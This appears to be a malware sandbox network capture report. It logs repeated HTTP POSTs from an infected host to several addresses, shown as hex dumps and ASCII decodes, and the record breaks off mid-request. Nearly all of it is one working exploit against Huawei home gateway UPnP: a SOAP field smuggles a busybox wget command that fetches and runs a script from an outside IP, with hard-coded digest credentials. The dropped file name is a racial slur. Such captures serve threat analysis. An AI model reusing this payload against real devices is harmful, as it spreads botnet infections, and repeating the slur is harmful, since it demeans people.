Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	47904	45.207.134.167	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.441699028 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.016781092 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:57.872594118 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:01.551961899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.975166082 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:23.820941925 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792638063 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	55034	45.207.133.229	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.442352057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.016789913 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 